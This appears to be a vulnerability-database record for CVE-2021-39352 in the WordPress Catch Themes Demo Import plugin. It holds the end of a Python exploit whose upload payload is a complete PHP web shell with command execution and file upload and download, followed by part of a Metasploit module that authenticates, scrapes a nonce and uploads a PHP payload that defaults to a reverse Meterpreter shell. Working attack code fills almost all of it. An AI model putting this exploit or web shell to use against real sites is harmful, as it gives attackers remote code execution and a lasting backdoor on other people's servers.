-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n \\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"[email\u00a0protected]:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"customizer_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>[email\u00a0protected]:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n \\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"[email\u00a0protected]:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916--\\r\\n\"\nsession.post(exploit_url, headers=header, data=shell_payload)\nprint('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')\nprint('')\n", "sourceHref": "https://0day.today/exploit/37122", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2022-01-05T17:16:13", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-05T00:00:00", "type": "packetstorm", "title": "WordPress Catch Themes Demo Import Shell Upload", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2022-01-05T00:00:00", "id": "PACKETSTORM:165463", "href": "https://packetstormsecurity.com/files/165463/WordPress-Catch-Themes-Demo-Import-Shell-Upload.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = NormalRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Remote::HTTP::Wordpress \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE', \n'Description' => %q{ \nThe Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated \narbitrary file uploads via the import functionality found in the \n~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation. \nRe-exploitation may need a reboot of the server, or to wait an arbitrary timeout. \nDuring testing this timeout was roughly 5min. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'h00die', # msf module \n'Ron Jost', # edb \n'Thinkland Security Team' # listed on wordfence's site \n], \n'References' => [ \n[ 'EDB', '50580' ], \n[ 'CVE', '2021-39352' ], \n[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ], \n[ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ], \n[ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ] \n], \n'Platform' => ['php'], \n'Privileged' => false, \n'Arch' => ARCH_PHP, \n'Targets' => [ \n[ 'Automatic Target', {}] \n], \n# we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is. \n# 'Payload' => \n# { \n# # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226 \n# 'Space' => 367_001_600, # 350mb \n# } \n'DisclosureDate' => '2021-10-21', \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'PAYLOAD' => 'php/meterpreter/reverse_tcp' \n}, \n'Notes' => { \n'Stability' => [ CRASH_SAFE ], \n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], \n# https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770 \n# re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. \n'Reliability' => [ UNRELIABLE_SESSION ] \n} \n) \n) \n \nregister_options [ \nOptString.new('USERNAME', [true, 'Username of the account', 'admin']), \nOptString.new('PASSWORD', [true, 'Password of the account', 'admin']), \nOptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), \n] \nend \n \ndef check \nreturn CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? \n \ncheckcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8') \nif checkcode == CheckCode::Safe \nprint_error('catch-themes-demo-import not a vulnerable version') \nend \ncheckcode \nend \n \ndef exploit \ncookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) \n \nif cookie.nil? \nvprint_error('Invalid login, check credentials') \nreturn \nend \n \n# grab the ajax_nonce \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'), \n'method' => 'GET', \n'cookie' => cookie, \n'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it. \n'vars_get' => { \n'page' => 'catch-themes-demo-import' \n} \n}) \nfail_with(Failure::Unreachable, 'Site not responding') unless res \nfail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 \n/\"ajax_nonce\":\"(?<ajax_nonce>[a-z0-9]{10})\"/ =~ res.body \nfail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce \nvprint_status(\"Ajax Nonce: #{ajax_nonce}\") \n \nrandom_filename = \"#{rand_text_alphanumeric(6..12)}.php\" \nvprint_status(\"Uploading payload filename: #{random_filename}\") \n \nmultipart_form = Rex::MIME::Message.new \nmultipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name=\"action\"') \nmultipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name=\"security\"') \nmultipart_form.add_part('undefined', nil, nil, 'form-data; name=\"selected\"') \nmultipart_form.add_part( 